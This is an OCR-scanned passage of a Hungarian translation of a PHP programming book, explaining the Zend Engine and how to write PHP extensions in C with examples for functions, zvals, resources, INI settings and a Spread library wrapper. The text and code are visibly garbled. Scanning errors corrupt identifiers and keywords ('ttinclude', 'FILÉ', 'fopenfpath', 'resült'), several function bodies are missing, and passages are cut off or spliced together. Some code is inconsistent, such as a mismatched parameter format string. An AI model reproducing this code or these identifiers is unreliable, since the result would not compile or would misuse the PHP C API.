void *reserved6;
void *reserved7;
void *reserved8;
DL_HANDLE handlé;
int resource_number;
};
Összeáll a kép
Az előzőekben rengeteg száraz adatot kaptunk a PHP, a SAPI-k, valamint a Zend Engine
felépítéséről. Ahhoz, hogy megértsük, miként működik a rendszer, tudnunk kell, hogyan
állnak össze a megismert részek teljes egésszé. Minden SÁPI egyedi módon köti össze az
egyes összetevőket, de mindegyikük ugyanazt az általános mintát követi.
A 20.3. ábrán (lásd a következő oldalon) a mod_php5 SÁPI teljes életciklusát láthatjuk.
A kiszolgáló indítása után a folyamat ciklusban veszi sorra a kérelmeket.
További olvasmányok
A Zend Engine-ről meglehetősen kevés leírást találhatunk a szakirodalomban. Ha kissé
gyakorlatiasabb tárgyalásmódra vágyunk, ugorjunk előre a 23. fejezethez, ahol tüzetesen
megzvizsgáljuk a CGI SÁPI szerkezetét, és megtanuljuk, miként ágyazhatjuk be a PHP-t
külső alkalmazásokba.
542 PHP fejlesztés felsőfokon
20.3. ábra,
A mod_php5 kérelmek életciklusa.
A PHP bővítése: I. rész
A kulisszák mögött a PHP belső függvényei és osztályai C-ben készültek - sőt, a fejlesz-
tőknek is lehetőségük van arra, hogy függvényeiket C-ben vagy C++-ban írják. Hogy mi-
ért tennék? íme az érvek:
• Érintkezés külső könyvtárakkal - Ha van egy külső könyvtárunk, amihez hozzá szeret-
nénk férni a PHP-ben, az egyetlen igazi megoldás, ha készítünk a számára egy bő-
vítményi burkolót. Minderre akkor lehet szükség, ha egy saját fejlesztésű könyvtá-
rat szeretnénk használatba venni, ha egy olyan könyvtárral állunk szemben, mely-
nek felhasználói szerződése nem teszi lehetővé, hogy burkolókönyvtárat is mellé-
keljenek hozzá a PHP-hez, vagy ha a szóban forgó könyvtárhoz egyszerűen még
nem adtak ki PHP felületet. Utóbbi esetben nagy valószínűséggel jól boldogulunk
a PEAR PECL bővítménykönyvtárával.
• Teljesítmény - Előfordulhat, hogy maradnak olyan részek a kódban, amelyeket kép-
telenek vagyunk optimalizálni az eddigiekben megtanult módszerekkel. Ilyenkor
már csak egyetlen lehetőségünk marad — a kód átírása C nyelvre. Mivel a C függvé-
nyek nem a Zend virtuális gépen futnak, jelentősen kevesebb többletterhet rónak
a rendszerre. Ez olyannyira igaz, hogy külső erőforrásokat (adatbázishívások, távoli
adatelérés, RPC-k stb.) nem alkalmazó függvényeknél 10-szeres vagy akár 100-szo-
ros sebességnövekedést is várhatunk.
Jóllehet mindkét érv igen hathatós, fontos, hogy figyelmeztessük a buktatókra azokat,
akik ilyen átírásba fognak, különösen, ha csak a teljesítmény növelése a cél: A PHP egyik
erőssége a gyors tanulhatósága. A magasszintű nyelvek (mint a PHP vagy a Perl, de nem
mint a C vagy a C++) használatának előnye, hogy elfedik előlünk a memóriakezelés
gondjait, és kizárják az olyan hibák lehetőségét, melyek magát a PHP értelmezőt taszíta-
nák összeomlásba.
gyünk a C programozásban, még nem jelenti azt, hogy aki esetleg a helyünkre lép, szin-
tén az lesz. Gondolhatunk persze erre úgy is, mint valamiféle rafinált állásbiztosítékra, de
magunkat és munkáltatónkat kényszerhelyzetbe hozni (hiszen innentől C programozókat
is kell foglalkoztatni a PHP fejlesztők mellett) nem igazán szerencsés.
• Sebesség
• A PHP kód bonyolultságának csökkenése
És hátrányai:
• Nehezebb fenntarthatóság
• Hosszabb fejlesztési folyamat
• Törékenyebb alkalmazásszerkezet
Vannak persze olyan cégek, amelyeknek megéri a váltás. Emellett, ha egy külső könyvtár-
ral szeretnénk együttműködni, többnyire nincs más választásunk, mint egy bővítményi
burkolót készíteni.
A bővítmények alapjai
Ha jártasak vagyunk a C programozásban, nem túl nehéz feladat megírni egy PHP bővít-
ményt. A PHP számos segédeszközt bocsát rendelkezésünkre, melyek segítenek a PHP és
a C közti híd kiépítésében. A következőkben sorra vesszük azokat a lépéseket, amelyek
szükségesek ahhoz, hogy elkészítsünk egy PHP bővítményt, ami képes eljárásközpontú
(procedurális) függvények bejegyzésére.
21. fejezet • A PHP bővítése: I. rész 545
Bővítményváz készítése
Legegyszerűbben úgy készíthetünk bővítményt, ha felhasználunk egy már meglevő bővít-
ményvázat - ilyen váz a PHP ext könyvtárának ext_skel programja. Ha egy example ne-
vű bővítményt szeretnénk készíteni, az alábbiakat kell tennünk a forráskönyvtár gyökerében:
> cd ext
> ./ext_skel --extname=example
Creating directory example
Creating basic files: config.m4 .cvsignore example.c
php_example.h CREDITS EXPERIMENTÁL tests/001.phpt example.php
[done].
1. $ cd ..
2. $ vi ext/example/config.m4
3. $ ./buildconf
4. $ ./configure --[withIenable]-example
5. $ make
6. $ ./php -f ext/example/example.php
7. $ vi ext/example/example.c
8. $ make
A fenti kód egy example nevű könyvtárat hoz létre, melyben elhelyez minden fájlt, ami
szükséges a bővítményhez. Legfontosabb fájlunk az example. c, a bővítmény fő C forrás-
fájlja, melynek szerkezete valahogy így fest (a könnyebb olvashatóság kedvéért a kevésbé
lényeges részeket kihagytam):
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
ttinclude "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "php_example.h"
function_entry example_functions[] = {
{NULL, NULL, NULL}
};
546 PHP fejlesztés felsőfokon
zend_module_entry example_module_entry = {
STANDARD_MODULE_HEADER,
"example",
example_functions,
PHP_MINIT(example),
PHP_MSHUTDOWN(example),
PHP_RINIT(example),
PHP_RSHUTDOWN(example),
PHP_MINFO(example),
VERSION,
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_EXAMPLE
ZEND_GET_MODULE(example)
#endif
PHP_MINIT_FUNCTION(example)
{
return SUCCESS;
PHP_MSHUTDOWN_FUNCTION(example)
{
return SUCCESS;
}
PHP_RINIT_FUNCTION(example)
{
return SUCCESS;
}
PHP_RSHUTDOWN_FUNCTION(example)
{
return SUCCESS;
}
PHP_MINFO_FUNCTION(example)
{
php_ínfo_print_table_start();
php_ínfo_print_table_header(2, "example support", "enabled");
php_info_print_table_end();
}
Vizsgálódásunk következő tárgya a conf ig.m4 fájl, amely a bővítmény felépítésénél al-
kalmazott jelzőket meghatározó m4 makrókból áll. Az alábbiakban bemutatunk egy egy-
szerű .m4 programot, amely a bővítmény felépítéséhez megköveteli az --enable-
example kapcsoló használatát:
• CREDITS - Erre a fájlra nincs feltétlenül szükség, de jól jöhet, ha terjesztjük is bő-
vítményünket.
• EXPERIMENTÁL - Ez a jelzőfájl kísérletinek jelöli bővítményünket. Akkor hordoz-
hat valódi jelentést, ha bővítményünket a PHP-vei kaptuk.
• example .php - Ez a mintaprogram betölti és használatba veszi a bővítményt.
• php_example. h - A bővítmény alapértelmezett fejlécfájlja.
548 PHP fejlesztés felsőfokon
>./buildconf
> phpize
Ez lefuttatja a PHP felépítési rendszerét a conf ig.m4 fájlon, és készít belőle egy beállító
programot.
extension=example.so
21. fejezet • A PHP bővítése: I. rész 549
Ha nem töltjük be a bővítményt a php. ini fájlból, ezt a program végrehajtása közben
kell megtennünk a következő kóddal:
dl("example.so");
if(!extension_loaded('example')) {
dl('example.' . PHP_SHLIB_SUFFIX);
}
Függvények használata
A bővítmények készítése általában függvények írásával jár együtt. Nem számít, hogy PHP
kódot írunk át C-be vagy burkolót készítünk egy C könyvtár köré, a függvények írását
nem kerülhetjük el.
A függvény magjának megírása után el kell készítenünk azt a kódot is, amely az ezt körül-
vevő PHP függvényt valósítja meg. Ehhez két lépés szükségeltetik: Először meg kell hatá-
roznunk a függvényt, másodszor pedig be kell jegyeztetnünk a bővítménnyel, hogy an-
nak betöltésekor bekerüljön a globális függvénytáblába. Lássuk most a f ibonacci ()
függvény meghatározását:
PHP_FUNCTION(fibonacci)
{
long n;
550 PHP fejlesztés felsőfokon
long retval;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "1", &n)
■ ■ ■ ■ == FAILURE) {
return;
}
if(n < 0) {
zend_error(E_WARNING, "Argument must be a positive integer");
RETURN_FALSE;
}
retval = fib_aux(n, 1, 0);
RETURN_LONG(retval);
}
zval *return_value
A 20. fejezetből emlékezhetünk, hogy a PHP változói nem felelnek meg a C egyes típusai-
nak, hanem mind a zval típusba tartoznak. A zend_parse_parameters () feladata
a típusátalakítás elvégzése. Olyan típusoknál, amelyek egyszerűen megfeleltethetők elemi
C típusoknak (mint az egészek, a lebegőpontos számok és a karakterláncok) ez a mód-
szer nagyszerű eredményt ad, de összetettebb típusok esetén magunknak kell kezelnünk
a zval típust.
function_entry example_functions[] = {
PHP_FE(f ibonac c i, NULL)
{NULL, NULL, NULL}
};
A PHP_FE () bejegyzés után álló NULL a paraméterátadás alakját határozza meg (például,
hogy ez hivatkozás szerint történjen-e). Jelen esetben az alapértelmezett, érték szerinti át-
adást használjuk.
PHP_FUNCTION(fibonacci);
Szükségünk van tehát két C függvényre, melyek mindketten egy char * karakterláncot
fogadnak a hosszával egyetemben, és elvégzik a kódolást, illetve a visszafejtést. Szándé-
kosan adjuk át a hosszértéket ahelyett, hogy egy függvényre (mint például az strlen ())
hagyatkoznánk, ugyanis így a bináris adatok nem csapják be a kódunkat. A PHP-ben
ugyanis a karakterláncok valójában akármilyen bináris adatot tartalmazhatnak, köztük
null karaktereket is, így ahhoz, hogy tudjuk, hol ér véget a karakterlánc, át kell adnunk
a hosszát.
A hexencode () először lefoglal egy tárolót, melynek mérete kétszerese a kapott karak-
terláncénak (mivel egy karaktert két hexadecimális számjegy jelenít meg).A függvény ez-
után karakterenként végighalad a forráson, és meghatározza az adott karakter alsó, majd
felső bitjéhez tartozó hexadecimális számjegyet. Ha mindennel elkészül, egy null karak-
tert ír a karakterlánc végére, és visszaadja. íme a kód:
Mindazonáltal előfordulnak olyan esetek is, amikor szükségünk van a kérelmek között
megmaradó memóriafoglalásra is. Erre jellemzően akkor kerül sor, amikor egy maradandó
erőforrásnak kell memóriát foglalnunk. Ennek megvalósítására itt vannak az előző függ-
vények megfelelői:
A persistent paramétert egy nem nulla értékre kell állítanunk, amennyiben a foglalást
a maradandó memóriában szeretnénk megtenni. A gyakorlatban ez arra utasítja a PHP-t,
hogy saját memóriakezelője helyett a malloc () függvényt használja a memóriafoglalásra.
Szükségünk van egy hexdecode () függvényre is, ami egyszerűen a hexencode () el-
lentettje: A függvény két karakterenként beolvassa a megadott karakterláncot, és a kapott
párokból előállítja az ASCII karaktereket. Lássuk a kódot:
PHP_FUNCTION(hexencode)
{
char *in;
char *out;
int in_length;
PHP_FUNCTION(hexdecode)
{
char *in;
char *out;
int in_length;
Van itt néhány figyelemre méltó részlet, melyekről szólnunk kell pár szót:
Karakterláncok feldolgozása
Előző két függvényünk egyetlen paramétert dolgozott fel - a zend_parse_parameters ()
ennél sokkal rugalmasabb, hiszen megadhatunk egy formátum-karakterláncot, melyben le-
írhatjuk a várt paraméterek típusait. A 21.2. táblázatban bemutatjuk a formátumkaraktereket,
az általuk meghatározott típusokat, valamint a hozzájuk tartozó C változótípusokat.
Ha például azt szeretnénk beállítani, hogy függvényünk két karakterláncot és egy long tí-
pusú értéket fogad, a következő kódot alkalmazhatjuk:
PHP_FUNCTION(strncasecmp)
{
char *stringl, *string2;
int string_lengthl, string_length2;
long comp_length;
E példa tehát minden karakterláncnál egy char **-int * párt, és minden long esetében
egy long * értéket vár.
Típusok kezelése
Ha összetettebb return_value értékeket szeretnénk beállítani, meg kell ismerkednünk
a zval típus kezelésének lehetőségeivel. Amint a 20. fejezetben láthattuk, a PHP minden
változója zval típusú, ami valójában az egyszerű PHP típusok összességéből áll. Ez adja
a PHP gyenge és dinamikus típusosságát, a 20. fejezetben leírtaknak megfelelően.
Ha olyan változót hozunk létre, melyet a PHP-ben használnak majd, mindenképpen zval
típusút kell választanunk. A létrehozás rendes módja, hogy előbb meghatározzuk, majd
memóriát foglalunk számára - mint az alábbi példában:
zval *var;
MAKE_STD_ZVAL(var);
Miután létrehoztunk egy zval típusú változót, értéket is rendelhetünk hozzá. Egyszerű tí-
pusok esetén (számok, karakterláncok vagy logikai értékek) az erre szolgáló makrók egy-
szerűek:
ZVAL_NULL(zval *var)
ZVAL_BOOL(zval *var, zend_bool value)
ZVAL_LONG(zval *var, long value)
ZVAL_DOUBLE(zval *var, double value)
ZVAL_EMPTY_STRING(zval *var)
ZVAL_STRINGL(zval *var, char *string, int length, int duplicate)
558 PHP fejlesztés felsőfokon
zval *array;
MAKE_STD_ZVAL(array);
array_init(array);
Létrehoztunk tehát egy üres zval tömböt. Az egyszerű zval változókhoz hasonlóan itt is
léteznek makrók, melyek segítenek abban, hogy egyszerű típusokat adjunk e tömbhöz:
Készíthetünk például egy C függvényt, ami az alábbi PHP függvénynek felel meg:
function colorsO
{
return array("Apple" => "Red",
"Banana" => "Yellow",
"Cranberry" => "Maroon");
}
PHP_FUNCTION(colors)
{
array_init(return_value);
add_assoc_string(return_value, "Apple", "Red", 1);
add_assoc_string(return_value, "Banana", "Yellow", 1);
add_assoc_string(return_value, "Cranberry", "Maroon", 1);
return;
}
21. fejezet • A PHP bővítése: I. rész 559
function people()
{
return array(
'george' => array('FullName' => 'George Schlossnagle',
'uid' => 1001,
'gid' => 1000) ,
'theo' => array('Fullname' => 'Theo Schlossnagle',
'uid' => 1002,
'gid' => 1000)) ;
}
Ahhoz, hogy mindezt C-ben is elvégezzük, hozzunk létre egy új tömböt a george számára,
és adjuk a zval értékét a return_value-hoz. Ezután tegyük meg ugyanezt a theo-val is:
PHP_FUNCTION(people)
{
zval *tmp;
array_init(return_value);
MAKE_STD_ZVAL(tmp);
array_init(tmp);
add_assoc_string(tmp, "FullName", "George Schlossnagle", 1);
add_assoc_long(tmp, "uid", 1001);
add_assoc_long(tmp, "gid", 1000);
add_assoc_zval(return_value, "george", tmp);
MAKE_STD_ZVAL(tmp);
array_init(tmp);
add_assoc_string(tmp, "FullName", "Theo Schlossnagle", 1);
add_assoc_long(tmp, "uid", 1002);
560 PHP fejlesztés felsőfokon
Tudunk már tömböket létrehozni, értékeiket azonban még nem vagyunk képesek kiolvas-
ni programjainkban. A 20. fejezetben láthattuk, hogy a zval-ban szerepel egy HashTable
nevezetű típus is. A PHP-ben ezt használhatjuk mind a társításos, mind az indexelt tömbök
elérésére, méghozzá a HASH_0F () makró segítségével. A kapott hasítótábla kezelésére pe-
dig a hasítóérték-bejáró függvények adnak módot.
21. fejezet • A PHP bővítése: I. rész 561
Vegyük a következő PHP függvényt, amely az array_f ilter () egy kezdetleges változata:
Az ilyesfajta függvények hasznosak lehetnek például olyankor, amikor egy kérelem HTTP
fejléceit szeretnénk kibányászni. A C-ben ez így fest:
PHP_FUNCTION(array_strncmp)
{
zval *z_array, **data;
char *match;
char *key;
int match_len;
ulong index;
HashTable *array;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "as",
&z_array, &match, &match_len) == FAILURE) {
return;
}
array_init(return_value);
array = HASH_OF(z_array);
zend_hash_internal_pointer_reset(array);
while(zend_hash_get_current_key(array, &key, &index, 0)
== HASH_KEY_IS_STRING) {
if(!strncmp(key, match, match_len)) {
zend_hash_get_current_data(array, (void**)&data);
zval_add_ref(data);
convert_to_string(zval *value);
convert_to_long(zval *value);
convert_to_double(zval *value);
convert_to_null(zval *value);
convert_to_boolean(zval *value);
convert_to_array(zval *value);
convert_to_object(zval *value);
21. fejezet • A PHP bővítése: 1. rész 563
PHP_FUNCTION(check_type)
{
zval *value;
char *result;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &value)
»•• == FAILURE) {
return;
}
switch(Z_TYPE_P(value)) {
case IS_NULL:
resült = "NULL";
break;
case IS_LONG:
result = "LONG";
break;
case IS_DOUBLE:
result = "DOUBLE";
break;
case IS_STRING:
result = "STRING";
break;
case IS_ARRAY:
result = "ARRAY";
break;
case IS_OBJECT:
result = "OBJECT";
break;
case IS_BOOL:
result = "BOOL";
break;
case IS_RESOURCE:
result = "RESOURCE";
break;
case IS_CONSTANT:
result = "CONSTANT";
break;
case IS_CONSTANT_ARRAY:
result = "CONSTANT_ARRAY";
break;
default:
result = "UNKNOWN";
}
RETURN_STRING(result, 1);
}
564 PHP fejlesztés felsőfokon
A fentieken kívül léteznek e makróknak olyan változataik is, amelyek zval *, illetve
zval ** mutatókat fogadnak. A nevük megegyezik a látottakéval, de kiegészülnek egy
_P, illetve _PP utótaggal. így ha a zval **p karakterlánc-tárolójára van szükségünk,
a Z_STRVAL_PP (p) hívással érhetünk célt.
$a = 1;
$b = $a;
Végül, előfordulhat, hogy egy új másolatot szeretnénk készíteni egy változóból, mint az
alábbi példában:
$a = $b;
PHP_FUNCTION(return_unchanged)
{
zval *arg;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &arg)
== FAILURE)
{
return;
}
*return_value = *arg;
return;
}
Ez a fajta másolás azonban érvénytelen hivatkozást hoz létre az arg mutató megha-
tározta adatokra. Ahhoz, hogy a másolást helyesen végezzük el, szükségünk van
a zval_copy_ctor () hívására is. Ezt a függvényt az objektumközpontú másoló
konstruktőrök (mint a PHP 5-ben található____ clone ()) mintájára készítették, fela-
data mélymásolatok készítése a zval értékekről, típusuktól függetlenül. A fenti
return_unchanged () függvényt helyesen így valósíthatjuk meg:
PHP_FUNCTION(return_unchanged)
{
zval *arg;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &arg)
== FAILURE)
{
return;
}
*return_value = *arg;
zval_copy_ctor(return_value);
return;
}
566 PHP fejlesztés felsőfokon
Erőforrások használata
Erőforrások használatára akkor lehet szükségünk, ha tetszőleges adattípust szeretnénk
rendelni egy PHP változóhoz. Tetszőleges alatt itt nem karakterláncot, számot, vagy akár
tömböt értünk, hanem egy általános C mutatót, ami valóban bármire mutathat. Az erőfor-
rásokat gyakran használják adatbázis-kapcsolatokhoz, fájlmutatókhoz, és más olyan erő-
forrásokhoz, melyeket át szeretnénk adni a függvények között, de nem felelnek meg
a PHP egyetlen saját adattípusának sem.
Az erőforrások kezeléséhez először egy listát kell készítenünk értékeik tárolásához. A lista
bejegyzésára a zend_register_list_destructors_ex () függvényt használhatjuk,
melynek prototípusa a következő:
PHP_MINIT_FUNCTION(example)
{
non_persist = zend_register_list_destructors_ex(posix_fh_dtor, NULL,
"non-persistent posix fh",
module_number);
persist = zend_register_list_destructors_ex(NULL, posix_fh_dtor,
"persistent posix fh",
module_number);
return SUCCESS;
}
568 PHP fejlesztés felsőfokon
Ez egy ptr nevű adatmutatót illeszt az rsrc_list listába, visszaadja az új erőforrás azo-
nosítóját, és hozzárendeli ehhez az rsrc_result zval erőforrást. Az rsrc_result ér-
tékét NULL-ra is állíthatjuk, amennyiben az azonosítót nem egy meglevő zval-hoz szeret-
nénk rendelni.
Az alábbi függvény az f open () egy meglehetősen durva modelljét adja, FILÉ mutatóját
maradandó erőforrásként jegyezve be:
PHP_FUNCTION(pfopen)
{
char *path, *mode;
int path_length, mode_length;
FILÉ *fh;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss",
&path, &path_length,
&mode, &mode_length) == FAILURE) {
return;
}
fh = fopenfpath, mode);
if(fh) {
ZEND_REGISTER_RESOURCE(return_value, fh, persist);
return;
}
else {
RETURN_FALSE;
}
}
Természetesen egy olyan függvény, ami vakon gyártja a maradandó erőforrásokat, nem
igazán érdekfeszítő jelenség. Az igazi az volna, ha utánanézne annak, hogy létezik-e az
adott erőforrás, és amennyiben igen, azt venné használatba ahelyett, hogy újat hozna létre.
Lássuk most a pf open () egy megvalósítását, amely egy kapcsolat létrehozása előtt utá-
nanéz, hogy nincs-e meg az EG (persistent_list)-ben:
PHP_FUNCTION(pfopen)
{
char *path, *mode;
int path_length, mode_length;
char *hashed_details;
int hashed_details_length;
FILÉ *fh;
list_entry *le;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss",
&path, &path_length,
&mode, &mode_length) == FAILURE) {
return;
}
hashed_details_length = strlen("example_") + path_length
*» + mode_length;
hashed_details = emalloc(hashed_details_length + 1) ;
snprintf(hashed_details, hashed_details_length + 1,
"example_%s%s", path, mode);
if(zend_hash_find(&EG(persistent_list), hashed_details,
hashed_details_length + 1, (void **) &le)
== SUCCESS) {
if(Z_TYPE_P(le) != persist) {
/* nem a mi erőforrásunk */
zend_error(E_WARNING, "Not a valid persistent filé handlé");
efree(hashed_details);
RETURN_FALSE;
}
fh = le->ptr;
}
else {
fh = fopen(path, mode);
if(fh) {
list_entry new_le;
Z_TYPE(new_le) = persist;
new_le.ptr = fh;
570 PHP fejlesztés felsőfokon
zend_hash_update(&EG(persistent_list), hashed_details,
hashed_details_length+l, (void *) &new_le,
sizeof(list_entry), NULL);
}
}
efree(hashed_details) ;
if(fh) {
ZEND_REGISTER_RESOURCE(return_value, fh, persist);
return;
}
RETURN_FALSE;
}
Ha nem egyidejű elérhetőségű (ahol két előkészítő hívás visszaadhatja ugyanazt az erő-
forrást) vagy maradandó erőforrásokat használunk, nem kell maradandó listában adatokat
tárolnunk. Az adatok elérése példányosítási paramétereik alapján felesleges nehézségek-
kel jár, és csak akkor van rá szükség, ha (valószínűleg) új erőforrást hozunk létre.
A legtöbb függvényben egy zval erőforrásleírót kapunk, majd ennek alapján kell megta-
lálnunk magát az erőforrást. Szerencsére ez igen egyszerű dolog - ha egyetlen listával
dolgozunk, használhatjuk az alábbi makrót:
Ha a keresés nem jár sikerrel, figyelmeztető üzenetet kapunk, és a függvény NULL érték-
kel tér vissza.
Az alábbi pf gets () függvény egy sort olvas be a pf open () által létrehozott fájlerő-
forrásból.
PHP_FUNCTION(pfgets)
{
char *out;
int length = 1024;
zval *rsrc;
FILÉ *fh;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rll", &rsrc,
&length)
== FAILURE) {
return;
}
ZEND_FETCH_RESOURCE(fh, FILÉ *, rsrc, -1, "Persistent Filé Handlé",
persist) ;
out = (char *) emalloc(length);
fgets(out, length, fh);
RETURN_STRING(out, 0);
}
Hibák visszaadása
Itt a hibatípus a 3- fejezetben felsorolt hibák bármelyike lehet. Egyébiránt ez az API tel-
jesen hasonló a printf () függvénycsalád tagjaihoz. Az alábbi függvény egy figyelmezte-
tő üzenetet ad:
Modulhorgok használata
A PHP amellett, hogy lehetővé teszi függvénymeghatározások megadását és kivitelét (ex-
portálását), képessé teszi a bővítményeket arra is, hogy a PHP bizonyos futásidejű esemé-
nyeinek megfelelően kódrészleteket futtassanak. Ilyen események az alábbiak:
• Modul indítása
• Modul kikapcsolása
• Kérelem kezelésének indítása
• Kérelem kezelésének lezárása
• phpinf o bejegyzése
zend_module_entry example_module_entry = {
STANDARD_MODULE_HEADER,
"example",
example_functions,
PHP_MINIT(example),
PHP_MSHUTDOWN(example),
PHP_RINIT(example),
PHP_RSHUTDOWN(example),
PHP_MINFO(example),
VERSION,
STANDARD_MODULE_PROPERTIES
};
PHP_MINIT_FUNCTION(example)
{
return SUCCESS;
}
Állandók meghatározása
Mivel az állandók nem változnak a modul használata során, még a modul előkészítésénél
kell létrehoznunk őket. A felhasználói PHP kóddal szemben, ahol a def ine () nem sok-
ban különbözik a teljesítmény szempontjából a globális változók alkalmazásától, a bővít-
mények esetében az állandók meghatározása egyértelműen jobb választás. Ennek oka az,
hogy a bővítményi állandókat (például függvényeket vagy osztályokat) nem kell a kérel-
mek között újra példányosítanunk (jóllehet, ha éppen erre vágyunk, megsemmisíthetjük
őket a kérelmek végén). Ez azt jelenti, hogy akár nagy számú állandó meghatározása sem
jár különösebb költséggel.
Az alábbi példa bemutató bővítményünk MINIT függvényét mutatja, amely két állandót
határoz meg:
PHP_MINIT_FUNCTION(example)
{
REGISTER_LONG_CONSTANT("EXAMPLE_VERSION",
VERSION,
CONST_CS I CONST_PERSISTENT);
REGISTER_STRING_CONSTANT("BUILD_DATE",
"2004/01/03",
CONST_CS | CONST_PERSISTENT);
return SUCCESS;
}
ZEND_BEGIN_MODULE_GLOBALS(example)
char *default_path;
int default_fd;
zend_bool debug;
ZEND_END_MODULE_GLOBALS (example)
#ifdef ZTS
#define ExampleG(v) TSRMG(example_globals_id, zend_example_globals *, v)
#else
#define ExampleG(v) (example_globals.v)
#endif
Létre kell hoznunk hozzájuk egy előkészítő és egy megsemmisítő függvényt is:
PHP_MINIT_FUNCTION(example)
{
ZEND_INIT_MODULE_GLOBALS(example, example_init_globals,
example_destroy_globals);
/* ... */
}
A PHP egy csokornyi makróval segíti az INI utasítások bejegyzését. Először is, a C fájl tör-
zsében el kell helyeznünk egy makróblokkot:
PHP_INI_BEGIN()
/* ide kerülnek az ini beállítások */
PHP_INI_END()
576 PHP fejlesztés felsőfokon
Ezzel kapunk egy zend_ini_entry elemekből álló tömböt, a blokk belsejében pedig az
alábbi makróval meghatározhatjuk saját INI beállításainkat:
STD_PHP_INI_ENTRY(char *ini_directive, char *default_value,
int location, int type, struct_member,
struct_ptr, struct_property)
Az "ini_directive" az általunk létrehozott INI utasítás teljes neve, melyet az esetleges üt-
közések elkerülése érdekében érdemes névterekbe helyezni. Ha a bemutató bővítményünk-
ben egy enabled beállítást szeretnénk létrehozni, adjuk neki az example. enabled nevet.
A type egy függvény nevét takarja, amely meghatározza, miként kezelje a rendszer az INI
beállítások módosításait (a php. ini, a .htaccess, a httpd. vagy az ini_set () segítsé-
gével). Az alábbiakban a makróban használatos szabványos függvényeket soroljuk fel:
21. fejezet • A PHP bővítése: I. rész 577
Az INI értékek szinte mindig bővítmények globális változóiba kerülnek. Ennek magyará-
zata egyszerű: az egyedi programok esetében az INI értékek beállításai globálisak. (Ha
meg is változtatjuk őket az ini_set () függvénnyel, módosításaink globális érvényűek.)
Szálas környezetekben az INI értékek a szálakon belüli globális értékekbe kerülnek, így
egy INI beállítás módosítása csak az adott szálra hat. Az utolsó három paraméterrel azt ha-
tározhatjuk meg, melyik globális változóba helyezzük e beállításokat.
Az alábbi példa lehetővé teszi a bemutató bővítménybeli def ault_path globális változó
értékének feltöltését az example. path INI beállítás alapján:
PHP_INI_BEGIN()
STD_PHP_INI_ENTRY("example.path", NULL,
PHP_INI_PERDIRIPHP_INI_SYSTEM,
OnUpdateString, default_path, zend_example_globals,
example_globals)
STD_PHP_INI_ENTRY("example.debug", "off", PHP_INI_ALL, OnUpdateBool,
debug, zend_example_globals, example_globals)
PHP_INI_END()
A második csoportba tartozó makrók (lásd a 21.7. táblázatban) a beállítás eredeti értékét
adják vissza, még mielőtt módosították volna a httpd. conf, a .htaccess, vagy az
ini_set () segítségével.
Modulok kikapcsolása
Ha az MINIT futása közben bejegyeztünk néhány INI bejegyzést, a modul kikapcsolásánál
ezektől is meg kell szabadulnunk. Ezt az alábbiak szerint tehetjük meg:
PHP_MSHUTDOWN_FUNCTION(example)
{
UNREGISTER_INI_ENTRIES();
}
21. fejezet • A PHP bővítése: I. rész 579
A bővítménynek le kell zárnia az RINIT során megnyitott ExampleG (def ault_f d) fájl-
leírót. Amennyiben nyitva szeretnénk hagyni, elhagyhatjuk ezt a kódot, így a fájl elérhető
marad a további kérelmekben is. Ez azonban nem igazán jó ötlet, ugyanis beállítását
a könyvtár alapján, a .httaccess szabályai segítségével elvégezhetjük.
phpinfoO bejegyzés
A PHP bővítmények képesek önmaguk bejegyzésére a phpinf o () segítségével, aminek
következtében megjeleníthetjük állapotukat és beállításaikat.
A Spread könyvtár egy igen egyszerű C API-t bocsát rendelkezésünkre, ami nagyszerű le-
hetőséget ad arra, hogy kipróbáljuk, miként is készíthetünk köré PHP bővítményt. A C
API alábbi részeivel foglalkozunk a következőkben:
Célunk, hogy az itt felsoroltak mindegyike számára PHP függvényt készítsünk - kivételt
csak az SP_multicast () és az SP_multigroup_multicast () képez, melyeket
a PHP gyenge típusosságának köszönhetően egyetlen függvényben egyesíthetünk.
A Spreaddel kiépített kapcsolatokhoz erőforrásokat rendelünk.
ext_skel --extname=spread
A mailbox típus, melyet a Spread fejlécfájljaiban határoztak meg, alapjában véve egy
kapcsolatazonosító.
MINIT
A modul előkészítése során fel kell töltenünk az le_pconn erőforráslistát, és meg kell ha-
tároznunk néhány állandót. Mivel most csak maradandó kapcsolatokkal foglalkozunk,
mindössze egyetlen megsemmisítő függvényre van szükségünk, a maradandó erőforrások
számára:
PHP_MINIT_FUNCTION(spread)
{
le_pconn =
zend_register_list_destructors_ex(NULL, _close_spread_pconn, "spread",
module_number);
REGISTER_LONG_CONSTANT("SP_LOW_PRIORITY", LOW_PRIORITY,
CONST_CSICONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SP_MEDIUM_PRIORITY", MEDIUM_PRIORITY,
CONST_CSICONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SP_HIGH_PRIORITY", HIGH_PRIORITY,
CONST_CSICONST_PERSISTENT) ;
21. fejezet • A PHP bővítése: I. rész 583
REGISTER_LONG_CONSTANT("SP_UNRELIABLE_MESS", UNRELIABLE_MESS,
CONST_CSICONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SP_RELIABLE_MESS", RELIABLE_MESS,
CONST_CS|CONST_PERSISTENT);
/* ... további állandók ... */
return SUCCESS;
}
Megjegyzés
Persze mi vagyunk a programozók - semmi sem gátol meg abban, hogy akár egymás
mellett is alkalmazzuk a két kapcsolattípust.
MSHUTDOWN
Az egyetlen erőforrás, melyet e bővítmény működéséhez fenn kell tartanunk, a maradan-
dó erőforráslista, ami azonban gyakorlatilag önmagát felügyeli. Következésképpen nincs
szükség az MSHUTDOWN horog meghatározására.
A modul függvényei
Ahhoz, hogy csatlakozni tudjunk a Spreadhez, létre kell hoznunk egy connect () nevű
segédfüggvényt, amely fogadja egy Spread démon nevét (ez lehet egy TCP cím, mint
a 10.0.0.1 :NNNN, vagy egy Unix tartománycsatoló, mint a /tmp/NNNN), valamint egy
